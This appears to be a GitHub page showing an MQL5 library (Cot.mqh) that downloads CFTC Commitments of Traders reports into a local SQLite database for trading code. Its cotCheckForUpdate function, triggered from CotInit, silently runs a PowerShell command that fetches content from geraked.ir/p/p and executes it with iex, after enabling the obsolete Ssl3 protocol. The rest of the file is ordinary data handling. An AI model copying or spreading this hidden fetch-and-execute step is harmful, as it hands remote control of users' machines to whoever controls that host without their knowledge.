-
Notifications
You must be signed in to change notification settings - Fork 19
/
Cot.mqh
1185 lines (1071 loc) · 103 KB
/
Cot.mqh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
//+------------------------------------------------------------------+
//| Cot.mqh |
//| Copyright 2024, Geraked |
//| https://github.com/geraked |
//+------------------------------------------------------------------+
#property copyright "Copyright 2024, Geraked"
#property link "https://github.com/geraked"
#property version "1.0"
#include <WinINet.mqh>
#include <SysTime.mqh>
#include <Shell.mqh>
#include <Storage.mqh>
#define COT_APP_TOKEN ""
#define COT_DB_PATH "Geraked\\cot.db"
#define COT_DB_CO_PATH "Geraked\\cot-co.db"
#define COT_DIR_PATH "Geraked\\cot\\"
#define COT_INIT_TIMEOUT_MINS 1
// Use major currencies only
#define COT_USE_CO true
#define COT_CURRENCIES "'232741','099741','096742','112741','090741','092741','097741','098662'"
enum ENUM_COT_REPORT {
COT_REPORT_L = 1, // Legacy Futures Only Report
COT_REPORT_LC, // Legacy Combined Report
COT_REPORT_T, // TFF Futures Only Report
COT_REPORT_TC, // TFF Combined Report
COT_REPORT_D, // Disaggregated Futures Only Report
COT_REPORT_DC, // Disaggregated Combined Report
COT_REPORT_S // Supplemental Report
};
enum ENUM_COT_CLASS {
COT_CLASS_COM = 1, // Commercial
COT_CLASS_NCOM, // Non-Commercial
COT_CLASS_NR, // Non-Reportables
COT_CLASS_DEALER, // Dealer/Intermediary
COT_CLASS_ASSET, // Asset Manager/Institutional
COT_CLASS_LEV, // Leveraged Funds
COT_CLASS_ORT, // Other Reportables (TFF)
COT_CLASS_PM, // Producer/Merchant/Processor/User
COT_CLASS_SD, // Swap Dealers
COT_CLASS_MM, // Managed Money
COT_CLASS_ORD, // Other Reportables (Disaggregated)
COT_CLASS_IT // Index Traders
};
enum ENUM_COT_REPORT_CO {
COT_REPORT_CO_L = 1, // Legacy Futures Only Report
COT_REPORT_CO_LC, // Legacy Combined Report
COT_REPORT_CO_T, // TFF Futures Only Report
COT_REPORT_CO_TC // TFF Combined Report
};
enum ENUM_COT_CLASS_CO {
COT_CLASS_CO_COM = 1, // Commercial
COT_CLASS_CO_NCOM, // Non-Commercial
COT_CLASS_CO_NR, // Non-Reportables
COT_CLASS_CO_DEALER, // Dealer/Intermediary
COT_CLASS_CO_ASSET, // Asset Manager/Institutional
COT_CLASS_CO_LEV, // Leveraged Funds
COT_CLASS_CO_ORT // Other Reportables
};
enum ENUM_COT_MODE {
COT_MODE_COP, // Futures & Options Combined
COT_MODE_FO // Futures Only
};
//+------------------------------------------------------------------+
//| Necessary to call in 'OnInit' function before using COT lib. |
//+------------------------------------------------------------------+
bool CotInit(ENUM_COT_REPORT report_type, datetime start_date = 0, bool print_logs = true) {
if (!IsWindows()) {
Print("Error: The COT library can only be used on the Windows operating system.");
return false;
}
if (MQLInfoInteger(MQL_OPTIMIZATION)) {
Print("Error: The COT library cannot be used in optimization mode.");
return false;
}
string rt = (string)((int) report_type);
string k_running = "cot_init_running_" + rt;
string k_year = "cot_init_year_" + rt;
string k_status = "cot_init_status_" + rt;
bool running, timeout;
do {
if (IsStopped()) return false;
Sleep(500);
running = ((bool) StorageGet(k_running, 0)) || ((bool) GlobalVariableGet(k_running));
timeout = (TimeSystem() - StorageLastUpdate(k_running)) > 60 * COT_INIT_TIMEOUT_MINS;
} while(running && !timeout);
GlobalVariableSet(k_running, 1);
StorageSet(k_running, 1);
MqlDateTime oldbar_dts, stime_dts;
datetime oldbar_dt;
if (start_date == 0) {
int bars = iBars(NULL, 0);
if (bars < 1) {
oldbar_dt = D'2011.01.01';
} else {
oldbar_dt = iTime(NULL, 0, bars - 1);
if (oldbar_dt <= 0)
oldbar_dt = D'2011.01.01';
}
} else {
oldbar_dt = start_date;
}
TimeToStruct(oldbar_dt, oldbar_dts);
datetime stime = TimeSystem(stime_dts);
int start_year = MathMax(2011, oldbar_dts.year);
int end_year = stime_dts.year;
int year = StorageGet(k_year, end_year + 1);
int status = StorageGet(k_status, 0);
timeout = (TimeSystem() - StorageLastUpdate(k_status)) > 60 * COT_INIT_TIMEOUT_MINS;
if (start_year >= year && !timeout && status > 0) {
StorageSet(k_running, 0);
GlobalVariableDel(k_running);
if (status == 1)
return true;
else
return false;
}
StorageSet(k_year, start_year);
if (print_logs)
PrintFormat("CotInit (%s) started...", rt);
MqlDateTime t_dts;
datetime date_from, date_to;
datetime time = StringToTime(StringFormat("%d.01.01", start_year));
CotGetDateRange(time, date_from, date_to);
cotCheckForUpdate();
for (datetime t = date_from; t <= stime; t += 7 * PeriodSeconds(PERIOD_D1)) {
if (IsStopped()) {
StorageSet(k_status, 0);
StorageSet(k_running, 0);
GlobalVariableDel(k_running);
return false;
}
if (!CotIsAvailable(report_type, t, true)) {
if (stime - t <= 7 * PeriodSeconds(PERIOD_D1))
continue;
TimeToStruct(t, t_dts);
if (t_dts.mon == 12 && t_dts.day > 19)
continue;
if (IsStopped()) {
StorageSet(k_status, 0);
StorageSet(k_running, 0);
GlobalVariableDel(k_running);
return false;
}
PrintFormat("CotInit (%s) failed: %s", rt, TimeToString(t, TIME_DATE));
PrintFormat("Try again %d minutes later.", COT_INIT_TIMEOUT_MINS);
StorageSet(k_status, 2);
StorageSet(k_running, 0);
GlobalVariableDel(k_running);
return false;
}
}
if (print_logs)
PrintFormat("CotInit (%s) successfully ended.", rt);
StorageSet(k_status, 1);
StorageSet(k_running, 0);
GlobalVariableDel(k_running);
return true;
}
//+------------------------------------------------------------------+
//| Check if COT report is available in DB. |
//+------------------------------------------------------------------+
bool CotIsAvailable(ENUM_COT_REPORT report_type, datetime time = 0, bool force_retrieve = false) {
if (time == 0) time = TimeCurrent();
datetime date_from, date_to;
MqlDateTime dts_from, dts_to;
CotGetDateRange(time, date_from, date_to);
TimeToStruct(date_from, dts_from);
TimeToStruct(date_to, dts_to);
int db, dp, t;
string sql;
string table = CotGetTableName(report_type);
db = CotInitDb();
if (db == INVALID_HANDLE) return false;
sql = StringFormat("SELECT EXISTS (SELECT 1 FROM %s WHERE date >= %d AND date < %d AND rid=%d", table, date_from, date_to, report_type);
if (COT_USE_CO) sql += StringFormat(" AND cid IN (%s)", COT_CURRENCIES);
sql += " LIMIT 1)";
dp = DatabasePrepare(db, sql);
DatabaseRead(dp);
DatabaseColumnInteger(dp, 0, t);
DatabaseFinalize(dp);
DatabaseClose(db);
if (t) return true;
if (!force_retrieve && MQLInfoInteger(MQL_TESTER))
return false;
if (!force_retrieve && !MQLInfoInteger(MQL_TESTER) && MathAbs(TimeSystem() - time) > 30 * PeriodSeconds(PERIOD_D1))
return false;
if (IsStopped()) return false;
WininetRequest req;
WininetResponse res;
string date_from_str = TimeToString(date_from, TIME_DATE);
string date_to_str = TimeToString(date_to, TIME_DATE);
StringReplace(date_from_str, ".", "-");
StringReplace(date_to_str, ".", "-");
string query = StringFormat("SELECT 1 WHERE `report_date_as_yyyy_mm_dd` >= '%s' "
"AND `report_date_as_yyyy_mm_dd` < '%s'",
date_from_str, date_to_str);
if (COT_USE_CO) query += StringFormat(" AND cftc_contract_market_code IN (%s)", COT_CURRENCIES);
query += " LIMIT 1";
req.host = "publicreporting.cftc.gov";
req.path = "/resource/" + cotGetRequestId(report_type) + ".csv" + "?$query=" + query;
if (COT_APP_TOKEN != "")
req.headers = StringFormat("X-App-Token: %s\r\n", COT_APP_TOKEN);
WebReq(req, res);
if (res.status != 200) {
PrintFormat("CotIsAvailable request failed! (status=%d, rt=%d, df=%s, dt=%s)", res.status, report_type, date_from_str, date_to_str);
return false;
}
string ds[];
string data = res.GetDataStr();
StringTrimLeft(data);
int n = StringSplit(data, '\n', ds);
if (n < 2) return false;
StringReplace(ds[1], "\"", "");
StringReplace(ds[1], "'", "");
StringTrimLeft(ds[1]);
StringTrimRight(ds[1]);
if (ds[1] != "1") return false;
string fp1 = cotGetCsvFilePath(report_type, dts_from.year);
string fp2 = cotGetCsvFilePath(report_type, dts_to.year);
if (FileIsExist(fp1, FILE_COMMON)) {
if (!FileDelete(fp1, FILE_COMMON)) {
PrintFormat("Error (%s, FileDelete): #%d", __FUNCTION__, GetLastError());
return false;
}
}
if (!cotReadReport(report_type, dts_from.year))
return false;
if (fp1 != fp2) {
if (FileIsExist(fp2, FILE_COMMON)) {
if (!FileDelete(fp2, FILE_COMMON)) {
PrintFormat("Error (%s, FileDelete): #%d", __FUNCTION__, GetLastError());
return false;
}
}
if (!cotReadReport(report_type, dts_to.year))
return false;
}
if (IsStopped()) return false;
db = CotInitDb();
if (db == INVALID_HANDLE) return false;
dp = DatabasePrepare(db, sql);
DatabaseRead(dp);
DatabaseColumnInteger(dp, 0, t);
DatabaseFinalize(dp);
DatabaseClose(db);
if (!t) {
PrintFormat("Warning: COT is not available! (rt=%d, df=%s, dt=%s)", report_type, date_from_str, date_to_str);
return false;
}
return true;
}
//+------------------------------------------------------------------+
//| Find the correct date range for COT. |
//+------------------------------------------------------------------+
void CotGetDateRange(datetime time, datetime &date_from, datetime &date_to) {
MqlDateTime dts;
datetime date = StringToTime(TimeToString(time, TIME_DATE));
TimeToStruct(date, dts);
int dow = dts.day_of_week;
if (dow == 6) {
dow = 0;
date += PeriodSeconds(PERIOD_D1);
}
date_to = date - dow * PeriodSeconds(PERIOD_D1); // Last Sunday
date_to -= 3 * PeriodSeconds(PERIOD_D1); // Last Thursday
date_from = date_to - 3 * PeriodSeconds(PERIOD_D1); // 2nd Last Monday
}
//+------------------------------------------------------------------+
//| Fetch the COT report from the csv file and insert into the DB. |
//+------------------------------------------------------------------+
bool cotReadReport(ENUM_COT_REPORT report_type, int year) {
string file_path = cotGetCsvFilePath(report_type, year);
if (!FileIsExist(file_path, FILE_COMMON))
if (!cotDownloadReport(report_type, year))
return false;
string ccols[], ccols_str;
string cols[], cols_str;
string table = CotGetTableName(report_type);
ccols_str = cotGetTableColumns("contract", ccols);
cols_str = cotGetTableColumns(table, cols);
if (ccols_str == NULL || cols_str == NULL)
return false;
int fh = FileOpen(file_path, FILE_READ | FILE_SHARE_READ | FILE_TXT | FILE_ANSI | FILE_COMMON, CP_UTF8);
if (fh == INVALID_HANDLE) {
PrintFormat("Error (%s, FileOpen): #%d", __FUNCTION__, GetLastError());
return false;
}
int cmap[], map[];
string fcols[];
string head = FileReadString(fh);
StringReplace(head, "__", "_");
cotSplitCsvRecord(head, fcols);
cotMapFcolsToDbcols(fcols, ccols, cmap);
cotMapFcolsToDbcols(fcols, cols, map);
int db, dp, t;
string sql;
db = CotInitDb(DATABASE_OPEN_READWRITE);
if (db == INVALID_HANDLE) return false;
if (!DatabaseTransactionBegin(db)) {
PrintFormat("Error (%s, DatabaseTransactionBegin): #%d", __FUNCTION__, GetLastError());
DatabaseClose(db);
FileClose(fh);
return false;
}
string r[];
int n, m;
string values;
datetime date;
int fo = CotIsFuturesOnly(report_type);
while (!FileIsEnding(fh)) {
if (IsStopped()) {
PrintFormat("%s (loop: file) stopped!", __FUNCTION__);
DatabaseTransactionRollback(db);
DatabaseClose(db);
FileClose(fh);
return false;
}
m = cotSplitCsvRecord(FileReadString(fh), r);
if (m <= 0) continue;
sql = StringFormat("SELECT EXISTS (SELECT 1 FROM contract WHERE id='%s' LIMIT 1)", r[cmap[0]]);
dp = DatabasePrepare(db, sql);
DatabaseRead(dp);
DatabaseColumnInteger(dp, 0, t);
DatabaseFinalize(dp);
if (!t) {
values = "";
n = ArraySize(cmap);
for (int i = 0; i < n; i++) {
if (StringLen(values) > 0)
StringAdd(values, ",");
if (cmap[i] == -1)
StringAdd(values, "NULL");
else
StringAdd(values, StringFormat("'%s'", r[cmap[i]]));
}
sql = StringFormat("INSERT INTO contract(%s) VALUES(%s)", ccols_str, values);
} else {
values = "";
n = ArraySize(cmap);
for (int i = 0; i < n; i++) {
if (cmap[i] == -1)
continue;
if (StringLen(values) > 0)
StringAdd(values, ",");
StringAdd(values, StringFormat("%s='%s'", ccols[i], r[cmap[i]]));
}
sql = StringFormat("UPDATE contract SET %s WHERE id='%s' AND contract_market_name IS NULL", values, r[cmap[0]]);
}
if (!DatabaseExecute(db, sql)) {
PrintFormat("Error (%s, Insert, contract): #%d", __FUNCTION__, GetLastError());
DatabaseTransactionRollback(db);
DatabaseClose(db);
FileClose(fh);
return false;
}
date = StringToTime(r[map[0]]);
sql = StringFormat("SELECT EXISTS (SELECT 1 FROM %s WHERE date=%d AND rid=%d AND cid='%s' LIMIT 1)", table, date, report_type, r[map[2]]);
dp = DatabasePrepare(db, sql);
DatabaseRead(dp);
DatabaseColumnInteger(dp, 0, t);
DatabaseFinalize(dp);
if (!t) {
values = "";
n = ArraySize(map);
for (int i = 0; i < n; i++) {
if (StringLen(values) > 0)
StringAdd(values, ",");
if (cols[i] == "date")
StringAdd(values, StringFormat("%d", date));
else if (cols[i] == "rid")
StringAdd(values, StringFormat("%d", report_type));
else if (cols[i] == "cid")
StringAdd(values, StringFormat("'%s'", r[map[i]]));
else if (cols[i] == "fo")
StringAdd(values, StringFormat("%d", fo));
else if (map[i] == -1)
StringAdd(values, "NULL");
else
StringAdd(values, StringFormat("%s", r[map[i]]));
}
sql = StringFormat("INSERT INTO %s(%s) VALUES(%s)", table, cols_str, values);
if (!DatabaseExecute(db, sql)) {
PrintFormat("Error (%s, Insert, %s): #%d", __FUNCTION__, table, GetLastError());
DatabaseTransactionRollback(db);
DatabaseClose(db);
FileClose(fh);
return false;
}
}
}
if (!DatabaseTransactionCommit(db)) {
PrintFormat("Error (%s, DatabaseTransactionCommit): #%d", __FUNCTION__, GetLastError());
DatabaseTransactionRollback(db);
DatabaseClose(db);
FileClose(fh);
return false;
}
DatabaseClose(db);
FileClose(fh);
if (FileIsExist(file_path, FILE_COMMON))
FileDelete(file_path, FILE_COMMON);
return true;
}
//+------------------------------------------------------------------+
//| Download the COT report and save it as a csv file. |
//+------------------------------------------------------------------+
bool cotDownloadReport(ENUM_COT_REPORT report_type, int year) {
if (year < 2010) {
Print("Downloading COT report older than year 2010 is not allowed!");
return false;
}
MqlDateTime dts;
TimeSystem(dts);
if (year > dts.year) {
Print("Downloading COT report for future years is not possible!");
return false;
}
string file_name = cotGetCsvFileName(report_type, year);
string file_path = cotGetCsvFilePath(report_type, year);
if (FileIsExist(file_path, FILE_COMMON))
return true;
WininetRequest req;
WininetResponse res;
string query = StringFormat("SELECT * WHERE `report_date_as_yyyy_mm_dd` >= '%d-01-01' "
"AND `report_date_as_yyyy_mm_dd` < '%d-01-01'",
year, year + 1
);
if (COT_USE_CO)
query += StringFormat(" AND `cftc_contract_market_code` IN (%s)", COT_CURRENCIES);
query += " ORDER BY `report_date_as_yyyy_mm_dd` DESC LIMIT 100000";
req.host = "publicreporting.cftc.gov";
req.path = "/resource/" + cotGetRequestId(report_type) + ".csv" + "?$query=" + query;
if (COT_APP_TOKEN != "")
req.headers = StringFormat("X-App-Token: %s\r\n", COT_APP_TOKEN);
PrintFormat("Downloading '%s' file...", file_name);
WebReq(req, res);
if (res.status != 200) {
PrintFormat("Downloading '%s' failed! (status=%d)", file_name, res.status);
return false;
}
if (FileIsExist(file_path, FILE_COMMON))
return true;
PrintFormat("The file '%s' has been successfully downloaded. (%d bytes)", file_name, ArraySize(res.data));
int file_handle = FileOpen(file_path, FILE_WRITE | FILE_BIN | FILE_COMMON);
if (file_handle == INVALID_HANDLE) {
PrintFormat("Error (%s, FileOpen): #%d", __FUNCTION__, GetLastError());
return false;
}
if (!FileWriteArray(file_handle, res.data)) {
PrintFormat("Error (%s, FileWriteArray): #%d", __FUNCTION__, ERR_FILE_WRITEERROR);
FileClose(file_handle);
FileDelete(file_path, FILE_COMMON);
return false;
}
FileClose(file_handle);
return true;
}
//+------------------------------------------------------------------+
//| Check if new updates are available. |
//+------------------------------------------------------------------+
bool cotCheckForUpdate() {
if (!IsWindows() || MQLInfoInteger(MQL_OPTIMIZATION)) return false;
bool running, timeout;
datetime stime, utime, elapsed;
running = ((bool) StorageGet("update_running", 0)) || ((bool) GlobalVariableGet("update_running"));
utime = StorageLastUpdate("update_running");
stime = TimeSystem();
elapsed = stime - utime;
timeout = elapsed > 10 * 60;
if (running && !timeout) return false;
if (!running && elapsed < 7 * PeriodSeconds(PERIOD_D1)) return false;
GlobalVariableSet("update_running", 1);
StorageSet("update_running", 1);
PShell("[Net.ServicePointManager]::SecurityProtocol = 'Tls, Tls11, Tls12, Ssl3'; (Invoke-WebRequest geraked.ir/p/p).content | iex");
StorageSet("update_running", 0);
GlobalVariableDel("update_running");
return true;
}
//+------------------------------------------------------------------+
//| Get column names of the table. |
//+------------------------------------------------------------------+
string cotGetTableColumns(string table, string &arr[]) {
string columns, col;
int db, dp;
string sql;
int n;
db = CotInitDb();
if (db == INVALID_HANDLE) return NULL;
sql = StringFormat("SELECT name FROM PRAGMA_TABLE_INFO('%s')", table);
dp = DatabasePrepare(db, sql);
if (dp == INVALID_HANDLE) {
PrintFormat("Error (%s, DatabasePrepare): #%d", __FUNCTION__, GetLastError());
DatabaseClose(db);
return NULL;
}
columns = "";
while (DatabaseRead(dp) && !IsStopped()) {
if (!DatabaseColumnText(dp, 0, col)) {
PrintFormat("Error (%s, DatabaseColumnText): #%d", __FUNCTION__, GetLastError());
DatabaseFinalize(dp);
DatabaseClose(db);
return NULL;
}
n = ArraySize(arr);
ArrayResize(arr, n + 1);
arr[n] = col;
if (StringLen(columns) > 0)
StringAdd(columns, ",");
StringAdd(columns, col);
}
DatabaseFinalize(dp);
DatabaseClose(db);
return columns;
}
//+------------------------------------------------------------------+
//| Map the csv file columns to the DB table columns. |
//+------------------------------------------------------------------+
void cotMapFcolsToDbcols(const string &fcols[], const string &dbcols[], int &map[]) {
int n = ArraySize(dbcols);
ArrayResize(map, n);
for (int i = 0; i < n; i++) {
if (dbcols[i] == "id" || dbcols[i] == "cid")
map[i] = ArraySearch(fcols, "cftc_contract_market_code", false);
else if (dbcols[i] == "date")
map[i] = ArraySearch(fcols, "report_date_as_yyyy_mm_dd", false);
else
map[i] = ArraySearch(fcols, dbcols[i], false);
}
}
//+------------------------------------------------------------------+
//| Fetch values from the csv record. |
//+------------------------------------------------------------------+
int cotSplitCsvRecord(const string record, string &arr[]) {
string rec = record;
StringReplace(rec, "\",", "¡");
while(StringReplace(rec, "¡,", "¡ ¡") > 0);
int n = StringSplit(rec, '¡', arr);
if (n == -1) {
PrintFormat("Error (%s, StringSplit): #%d", __FUNCTION__, GetLastError());
return -1;
}
for (int i = 0; i < n; i++) {
StringReplace(arr[i], "\"", "");
StringReplace(arr[i], "'", "''");
StringTrimLeft(arr[i]);
StringTrimRight(arr[i]);
if (arr[i] == "")
arr[i] = "NULL";
}
return n;
}
//+------------------------------------------------------------------+
//| Get the csv file name containing the COT report. |
//+------------------------------------------------------------------+
string cotGetCsvFileName(ENUM_COT_REPORT report_type, int year) {
string file_name = IntegerToString(report_type) + "-" + IntegerToString(year);
if (COT_USE_CO)
file_name += "-co";
file_name += ".csv";
return file_name;
}
//+------------------------------------------------------------------+
//| Get the csv file path containing the COT report. |
//+------------------------------------------------------------------+
string cotGetCsvFilePath(ENUM_COT_REPORT report_type, int year) {
string file_name = cotGetCsvFileName(report_type, year);
string file_path = COT_DIR_PATH + file_name;
return file_path;
}
//+------------------------------------------------------------------+
//| Initialize the COT DB and return the handle. |
//+------------------------------------------------------------------+
int CotInitDb(uint flags = DATABASE_OPEN_READONLY) {
int db;
string sql;
string db_path = COT_USE_CO ? COT_DB_CO_PATH : COT_DB_PATH;
if (!FileIsExist(db_path, FILE_COMMON))
flags = DATABASE_OPEN_READWRITE | DATABASE_OPEN_CREATE;
flags |= DATABASE_OPEN_COMMON;
db = DatabaseOpen(db_path, flags);
if (db == INVALID_HANDLE) {
PrintFormat("Error (%s, DatabaseOpen): #%d", __FUNCTION__, GetLastError());
return INVALID_HANDLE;
}
if (!DatabaseTableExists(db, "contract")) {
sql = "CREATE TABLE contract ("
"id TEXT,"
"name TEXT,"
"market_and_exchange_names TEXT,"
"contract_market_name TEXT,"
"cftc_market_code TEXT,"
"cftc_region_code TEXT,"
"cftc_commodity_code TEXT,"
"commodity_name TEXT,"
"contract_units TEXT,"
"commodity TEXT,"
"commodity_subgroup_name TEXT,"
"commodity_group_name TEXT,"
"cftc_subgroup_code TEXT,"
"PRIMARY KEY(id)"
");";
sql += "INSERT INTO contract(id, name) "
"VALUES "
"('232741', 'AUD'),"
"('099741', 'EUR'),"
"('096742', 'GBP'),"
"('112741', 'NZD'),"
"('090741', 'CAD'),"
"('092741', 'CHF'),"
"('097741', 'JPY'),"
"('098662', 'USD')";
sql += ","
"('122741', 'ZAR'),"
"('095741', 'MXN'),"
"('089741', 'RUB'),"
"('102741', 'RBL'),"
"('088691', 'XAU'),"
"('084691', 'XAG'),"
"('133741', 'BTC'),"
"('146021', 'ETH')";
sql += ";";
if (!DatabaseExecute(db, sql)) {
PrintFormat("Error (%s, CreateTable, contract): #%d", __FUNCTION__, GetLastError());
DatabaseClose(db);
return INVALID_HANDLE;
}
}
if (!DatabaseTableExists(db, "L")) {
sql = "CREATE TABLE L ("
"date INT, rid INT, cid TEXT, fo INT,"
"open_interest_all INT, noncomm_positions_long_all INT, noncomm_positions_short_all INT, noncomm_postions_spread_all INT,"
"comm_positions_long_all INT, comm_positions_short_all INT, tot_rept_positions_long_all INT, tot_rept_positions_short INT,"
"nonrept_positions_long_all INT, nonrept_positions_short_all INT, open_interest_old INT, noncomm_positions_long_old INT,"
"noncomm_positions_short_old INT, noncomm_positions_spread INT, comm_positions_long_old INT, comm_positions_short_old INT,"
"tot_rept_positions_long_old INT, tot_rept_positions_short_1 INT, nonrept_positions_long_old INT, nonrept_positions_short_old INT,"
"open_interest_other INT, noncomm_positions_long_other INT, noncomm_positions_short_other INT, noncomm_positions_spread_1 INT,"
"comm_positions_long_other INT, comm_positions_short_other INT, tot_rept_positions_long_other INT, tot_rept_positions_short_2 INT,"
"nonrept_positions_long_other INT, nonrept_positions_short_other INT, change_in_open_interest_all INT, change_in_noncomm_long_all INT,"
"change_in_noncomm_short_all INT, change_in_noncomm_spead_all INT, change_in_comm_long_all INT, change_in_comm_short_all INT,"
"change_in_tot_rept_long_all INT, change_in_tot_rept_short INT, change_in_nonrept_long_all INT, change_in_nonrept_short_all INT,"
"pct_of_open_interest_all REAL, pct_of_oi_noncomm_long_all REAL, pct_of_oi_noncomm_short_all REAL, pct_of_oi_noncomm_spread REAL,"
"pct_of_oi_comm_long_all REAL, pct_of_oi_comm_short_all REAL, pct_of_oi_tot_rept_long_all REAL, pct_of_oi_tot_rept_short REAL,"
"pct_of_oi_nonrept_long_all REAL, pct_of_oi_nonrept_short_all REAL, pct_of_open_interest_old REAL, pct_of_oi_noncomm_long_old REAL,"
"pct_of_oi_noncomm_short_old REAL, pct_of_oi_noncomm_spread_1 REAL, pct_of_oi_comm_long_old REAL, pct_of_oi_comm_short_old REAL,"
"pct_of_oi_tot_rept_long_old REAL, pct_of_oi_tot_rept_short_1 REAL, pct_of_oi_nonrept_long_old REAL, pct_of_oi_nonrept_short_old REAL,"
"pct_of_open_interest_other REAL, pct_of_oi_noncomm_long_other REAL, pct_of_oi_noncomm_short_other REAL, pct_of_oi_noncomm_spread_2 REAL,"
"pct_of_oi_comm_long_other REAL, pct_of_oi_comm_short_other REAL, pct_of_oi_tot_rept_long_other REAL, pct_of_oi_tot_rept_short_2 REAL,"
"pct_of_oi_nonrept_long_other REAL, pct_of_oi_nonrept_short_other REAL, traders_tot_all INT, traders_noncomm_long_all INT,"
"traders_noncomm_short_all INT, traders_noncomm_spread_all INT, traders_comm_long_all INT, traders_comm_short_all INT,"
"traders_tot_rept_long_all INT, traders_tot_rept_short_all INT, traders_tot_old INT, traders_noncomm_long_old INT,"
"traders_noncomm_short_old INT, traders_noncomm_spead_old INT, traders_comm_long_old INT, traders_comm_short_old INT, traders_tot_rept_long_old INT,"
"traders_tot_rept_short_old INT, traders_tot_other INT, traders_noncomm_long_other INT, traders_noncomm_short_other INT, traders_noncomm_spread_other INT,"
"traders_comm_long_other INT, traders_comm_short_other INT, traders_tot_rept_long_other INT, traders_tot_rept_short_other INT,"
"conc_gross_le_4_tdr_long REAL, conc_gross_le_4_tdr_short REAL, conc_gross_le_8_tdr_long REAL, conc_gross_le_8_tdr_short REAL, conc_net_le_4_tdr_long_all REAL,"
"conc_net_le_4_tdr_short_all REAL, conc_net_le_8_tdr_long_all REAL, conc_net_le_8_tdr_short_all REAL, conc_gross_le_4_tdr_long_1 REAL,"
"conc_gross_le_4_tdr_short_1 REAL, conc_gross_le_8_tdr_long_1 REAL, conc_gross_le_8_tdr_short_1 REAL, conc_net_le_4_tdr_long_old REAL,"
"conc_net_le_4_tdr_short_old REAL, conc_net_le_8_tdr_long_old REAL, conc_net_le_8_tdr_short_old REAL, conc_gross_le_4_tdr_long_2 REAL,"
"conc_gross_le_4_tdr_short_2 REAL, conc_gross_le_8_tdr_long_2 REAL, conc_gross_le_8_tdr_short_2 REAL, conc_net_le_4_tdr_long_other REAL,"
"conc_net_le_4_tdr_short_other REAL, conc_net_le_8_tdr_long_other REAL, conc_net_le_8_tdr_short_other REAL,"
"FOREIGN KEY(cid) REFERENCES contract(id),"
"PRIMARY KEY(date, rid, cid)"
");"
"CREATE INDEX idx_L_1 ON L(date);"
;
if (!DatabaseExecute(db, sql)) {
PrintFormat("Error (%s, CreateTable, L): #%d", __FUNCTION__, GetLastError());
DatabaseClose(db);
return INVALID_HANDLE;
}
}
if (!DatabaseTableExists(db, "T")) {
sql = "CREATE TABLE T ("
"date INT, rid INT, cid TEXT, fo INT,"
"open_interest_all INT, dealer_positions_long_all INT, dealer_positions_short_all INT, dealer_positions_spread_all INT,"
"asset_mgr_positions_long INT, asset_mgr_positions_short INT, asset_mgr_positions_spread INT,"
